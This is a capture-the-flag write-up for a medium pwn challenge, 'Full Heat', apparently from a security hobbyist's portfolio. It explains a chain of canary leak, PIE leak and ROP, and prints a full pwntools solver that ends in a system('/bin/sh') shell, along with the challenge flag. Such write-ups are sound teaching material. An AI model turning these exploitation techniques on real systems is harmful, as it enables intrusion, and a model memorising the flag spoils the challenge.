archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets Friendly CTF 2026 / Pwn WRITEUP

Full Heat

Rockstar put all of Leonida on lockdown. Surely that will stop CyberLeek this time.

EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYmediumPOINTS500
canary-leakpie-leakrop

Walkthrough

Solution

The XOR archive output provides both required leaks. First send 41 known bytes: the extra byte passes the stack canary's leading null, so XOR-decoding the next seven bytes recovers the canary. Preserve it in a one-byte partial return overwrite that re-enters the report path. On the second pass, 56 known bytes let the archive output continue into the saved return address, revealing the PIE base.

With PIE known, return through broadcast. Its by-value Broadcast argument is read from the stack, giving a call primitive: set its message to read@got and its function pointer to puts@plt, then re-enter once more. Convert that leak into the libc base. A final broadcast frame uses /bin/sh as the message and system as the callback, while preserving the recovered canary.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./main", checksec=False)
context.log_level = "error"
libc = ELF("./libc.so.6", checksec=False)
key = b"\x5a"

p = process("./main") if args.LOCAL else remote("127.0.0.1", 9012)

canary_leak = b"A" * 41
p.sendafter(b"> ", canary_leak)
p.recvuntil(xor(canary_leak, key))
canary = u64(b"\0" + xor(p.recvn(7), key))

restart = b"B" * 40 + p64(canary) + b"C" * 8 + p8(0x9a)
p.sendafter(b"> ", restart)

pie_leak = b"D" * 56
p.sendafter(b"> ", pie_leak)
p.recvuntil(xor(pie_leak, key))
pie = u64(xor(p.recvn(6), key).ljust(8, b"\0"))
elf.address = pie - 0x10a6

ret = elf.address + 0x101a
dispatch = elf.address + 0x12d0
reenter = elf.address + 0x109a

leak_read = flat(
    b"E" * 40,
    canary,
    b"F" * 8,
    ret,
    dispatch,
    reenter,
    0,
    elf.got["read"],
    elf.plt["puts"],
)

p.sendafter(b"> ", leak_read)
read_address = u64(p.recvline()[:-1].ljust(8, b"\0"))
libc.address = read_address - libc.sym["read"]

clean_report = b"G" * 40
p.sendafter(b"> ", clean_report)

shell = flat(
    b"H" * 40,
    canary,
    b"I" * 8,
    ret,
    dispatch,
    libc.sym["exit"],
    0,
    next(libc.search(b"/bin/sh\0")),
    libc.sym["system"],
)

p.sendafter(b"> ", shell)
sleep(0.2)
p.sendline(b"cat flag.txt")
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{r0ckst4r_c4ll3d_1t_4_s3cur1ty_t3st_cyb3rl33k_c4ll3d_1t_tu3sd4y}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS